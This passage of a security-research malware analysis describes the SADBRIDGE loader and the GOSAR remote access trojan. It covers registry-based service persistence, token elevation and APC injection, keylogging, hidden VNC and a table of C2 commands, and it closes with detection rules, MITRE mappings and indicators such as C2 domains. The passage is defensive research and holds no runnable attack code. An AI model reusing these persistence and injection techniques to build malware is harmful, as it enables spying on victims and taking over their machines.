<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" /></p>
<h4>DevQueryBrokerPre.log</h4>
<p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p>
<ul>
<li><strong>Description</strong>: Enables apps to discover devices with a background task.</li>
<li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service</li>
<li><strong>ErrorControl</strong>: 1</li>
<li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code></li>
<li><strong>ObjectName</strong>: LocalSystem</li>
<li><strong>Start</strong>: 2 (auto-start)</li>
<li><strong>Type</strong>: 16.</li>
<li><strong>Failure Actions</strong>:
<ul>
<li>Resets failure count every 24 hours.</li>
<li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li>
</ul>
</li>
</ul>
<p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\&lt;hostname_hash&gt;\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p>
<p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" /></p>
<p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" /></p>
<p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>.</p>
<p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p>
<h2>GOSAR Injection</h2>
<p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API.</p>
<p>If sessions are found, it iterates through each session:</p>
<ul>
<li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.</li>
<li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.</li>
<li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>&quot;Services&quot;</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li>
</ul>
<p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p>
<p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image6.png" alt="Enumeration of active sessions" /></p>
<p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image4.png" alt="Duplication of user token and elevating token privileges" /></p>
<p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p>
<p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image2.png" alt="APC injection to run GOSAR" /></p>
<p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" /></p>
<h2>GOSAR Introduction</h2>
<p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.</p>
<p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image29.png" alt="Low detection rate on GOSAR VT upload" /></p>
<p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p>
<h2>GOSAR Code Analysis Overview</h2>
<h3>Code structure of GOSAR</h3>
<p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image26.png" alt="GOSAR code structure" /></p>
<ul>
<li><strong>vibrant/config</strong>: Contains the configuration files for the malware.</li>
<li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.</li>
<li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener</li>
<li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.</li>
<li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.</li>
<li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.</li>
<li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.</li>
<li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.</li>
<li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.</li>
<li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li>
</ul>
<h3>New Additions to GOSAR</h3>
<h4>Communication and information gathering</h4>
<p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p>
<ul>
<li>IPAddress</li>
<li>AntiVirus</li>
<li>ClipboardSettings</li>
<li>Wallets</li>
</ul>
<p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p>
<h4>Services</h4>
<p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p>
<ul>
<li>vibrant_services_KeyLogger</li>
<li>vibrant_services_ClipboardLogger</li>
<li>vibrant_services_TickWriteFile</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image22.png" alt="GOSAR services" /></p>
<h5>KeyLogger</h5>
<p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image28.png" alt="GOSAR setting the keylogger" /></p>
<h5>ClipboardLogger</h5>
<p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image34.png" alt="GOSAR clipboard logging" /></p>
<h5>TickWriteFile</h5>
<p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br />
It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" /></p>
<h4>Networking setup</h4>
<p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p>
<ul>
<li>vibrant_network_ConfigFirewallRule</li>
<li>vibrant_network_ConfigHosts</li>
<li>vibrant_network_ConfigAutoListener</li>
</ul>
<p><a href="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p>
<h5>ConfigFirewallRule</h5>
<p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image23.png" alt="Added firewall rule" /></p>
<h5>ConfigHosts</h5>
<p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p>
<h5>ConfigAutoListener</h5>
<p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image5.png" alt="Callback handled by GOSAR" /></p>
<h4>Logs</h4>
<p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-&lt;YearMonthDay&gt;.log</code>.<br />
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image16.png" alt="Logs example generated by GOSAR" /></p>
<p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p>
<h4>Plugins</h4>
<p>The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image35.png" alt="GOSAR checking for existence of a plugin to execute" /></p>
<p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" /></p>
<p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's 	main thread. When the thread is resumed, the queued shellcode is executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" /></p>
<p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p>
<h4>HVNC</h4>
<p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p>
<ul>
<li>ResolveHVNCCommand</li>
<li>ResolveGetHVNCScreen</li>
<li>ResolveStopHVNC</li>
<li>ResolveDoHVNCKeyboardEvent</li>
<li>ResolveDoHVNCMouseEvent</li>
</ul>
<p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p>
<p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p>
<ul>
<li>ExcuteCommand</li>
<li>DoMouseScroll</li>
<li>DoMouseRightClick</li>
<li>DoMouseMove</li>
<li>DoMouseLeftClick</li>
<li>DoKeyPress</li>
<li>CaptureScreen</li>
</ul>
<p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x401</td>
<td align="left">The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>.</td>
</tr>
<tr>
<td align="left">0x402</td>
<td align="left">Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code></td>
</tr>
<tr>
<td align="left">0x403</td>
<td align="left">Runs an instance of <code>powershell.exe</code></td>
</tr>
<tr>
<td align="left">0x404</td>
<td align="left">Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code></td>
</tr>
<tr>
<td align="left">0x405</td>
<td align="left">Runs an instance of <code>chrome.exe</code></td>
</tr>
<tr>
<td align="left">0x406</td>
<td align="left">Runs an instance of <code>msedge.exe</code></td>
</tr>
<tr>
<td align="left">0x407</td>
<td align="left">Runs an instance of <code>firefox.exe</code></td>
</tr>
<tr>
<td align="left">0x408</td>
<td align="left">Runs an instance of <code>iexplore.exe</code></td>
</tr>
<tr>
<td align="left">0x409</td>
<td align="left">Runs an instance of <code>360se.exe</code></td>
</tr>
<tr>
<td align="left">0x40A</td>
<td align="left">Runs an instance of <code>360ChromeX.exe</code>.</td>
</tr>
<tr>
<td align="left">0x40B</td>
<td align="left">Runs an instance of <code>SogouExplorer.exe</code></td>
</tr>
<tr>
<td align="left">0x40C</td>
<td align="left">Close current window</td>
</tr>
<tr>
<td align="left">0x40D</td>
<td align="left">Minimizes the specified window</td>
</tr>
<tr>
<td align="left">0x40E</td>
<td align="left">Activates the window and displays it as a maximized window</td>
</tr>
<tr>
<td align="left">0x40F</td>
<td align="left">Kills the process of a window</td>
</tr>
<tr>
<td align="left">0x410</td>
<td align="left">Sets the clipboard</td>
</tr>
<tr>
<td align="left">0x411</td>
<td align="left">Clears the Clipboard</td>
</tr>
</tbody>
</table>
<h4>Screenshot</h4>
<p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p>
<ul>
<li>CaptureFirstScreen</li>
<li>CaptureNextScreen</li>
<li>GetBitmapInfo</li>
<li>GetBitmapInfoSize</li>
<li>SetQuality</li>
</ul>
<p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p>
<h3>Observation</h3>
<p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p>
<p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p>
<h3>New functionality</h3>
<p>The following table provides a description of all the newly added commands:</p>
<table>
<thead>
<tr>
<th align="left">New commands</th>
<th align="left"></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ResolveDoRoboCopy</td>
<td align="left">Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files</td>
</tr>
<tr>
<td align="left">ResolveDoCompressFiles</td>
<td align="left">Compress files in a zip format</td>
</tr>
<tr>
<td align="left">ResolveDoExtractFile</td>
<td align="left">Extract a zip file</td>
</tr>
<tr>
<td align="left">ResolveDoCopyFiles</td>
<td align="left">Copies a directory or file in the infected machine</td>
</tr>
<tr>
<td align="left">ResolveGetRunLogs</td>
<td align="left">Get available logs</td>
</tr>
<tr>
<td align="left">ResolveHVNCCommand</td>
<td align="left">Execute a HVNC command</td>
</tr>
<tr>
<td align="left">ResolveGetHVNCScreen</td>
<td align="left">Initiate HVNC</td>
</tr>
<tr>
<td align="left">ResolveStopHVNC</td>
<td align="left">Stop the HVNC session</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCKeyboardEvent</td>
<td align="left">Send keyboard event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCMouseEvent</td>
<td align="left">Send mouse event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoExecutePlugin</td>
<td align="left">Execute a plugin</td>
</tr>
<tr>
<td align="left">ResolveGetProcesses</td>
<td align="left">Get a list of running processes</td>
</tr>
<tr>
<td align="left">ResolveDoProcessStart</td>
<td align="left">Start a process</td>
</tr>
<tr>
<td align="left">ResolveDoProcessEnd</td>
<td align="left">Kill a process</td>
</tr>
<tr>
<td align="left">ResolveGetBitmapInfo</td>
<td align="left">Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings</td>
</tr>
<tr>
<td align="left">ResolveGetMonitors</td>
<td align="left">Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API</td>
</tr>
<tr>
<td align="left">ResolveGetDesktop</td>
<td align="left">Start screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveStopGetDesktop</td>
<td align="left">Stop the screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveNewShellExecute</td>
<td align="left">Opens pipes to a spawned cmd.exe process and send commands to it</td>
</tr>
<tr>
<td align="left">ResolveGetSchTasks</td>
<td align="left">Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code></td>
</tr>
<tr>
<td align="left">ResolveGetScreenshot</td>
<td align="left">Capture a screenshot of the victim’s desktop</td>
</tr>
<tr>
<td align="left">ResolveGetServices</td>
<td align="left">Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code></td>
</tr>
<tr>
<td align="left">ResolveDoServiceOperation</td>
<td align="left">Start or stop a service</td>
</tr>
<tr>
<td align="left">ResolveDoDisableMultiLogon</td>
<td align="left">Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code></td>
</tr>
<tr>
<td align="left">ResolveDoRestoreNLA</td>
<td align="left">Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication.</td>
</tr>
<tr>
<td align="left">ResolveGetRemoteClientInformation</td>
<td align="left">Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></td>
</tr>
<tr>
<td align="left">ResolveDoInstallWrapper</td>
<td align="left">Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>)</td>
</tr>
<tr>
<td align="left">ResolveDoUninstallWrapper</td>
<td align="left">Uninstall <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveDoRecoverPrivileges</td>
<td align="left">Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveGetRemoteSessions</td>
<td align="left">Retrieve information about the RDP sessions on the machine.</td>
</tr>
<tr>
<td align="left">ResolveDoLogoffSession</td>
<td align="left">Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession">**<code>WTSLogoffSession</code></a>** API</td>
</tr>
<tr>
<td align="left">ResolveGetSystemInfo</td>
<td align="left">Get system information</td>
</tr>
<tr>
<td align="left">ResolveGetConnections</td>
<td align="left">Get all the connections in the machine</td>
</tr>
<tr>
<td align="left">ResolveDoCloseConnection</td>
<td align="left">Not implemented</td>
</tr>
</tbody>
</table>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
</ul>
<h2>Mitigating REF3864</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
</ul>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">opera-x[.]net</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">teledown-cn[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39</td>
<td align="left">SHA-256</td>
<td align="left"><code>NetFxRepairTools.msi</code></td>
<td align="left">MSI</td>
</tr>
<tr>
<td align="left">accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7</td>
<td align="left">SHA-256</td>
<td align="left"><code>x64bridge.dll</code></td>
<td align="left">SADBRIDGE</td>
</tr>
<tr>
<td align="left">7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">GOSAR</td>
</tr>
<tr>
<td align="left">ferp.googledns[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.secssl[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.winsiked[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]is</td>
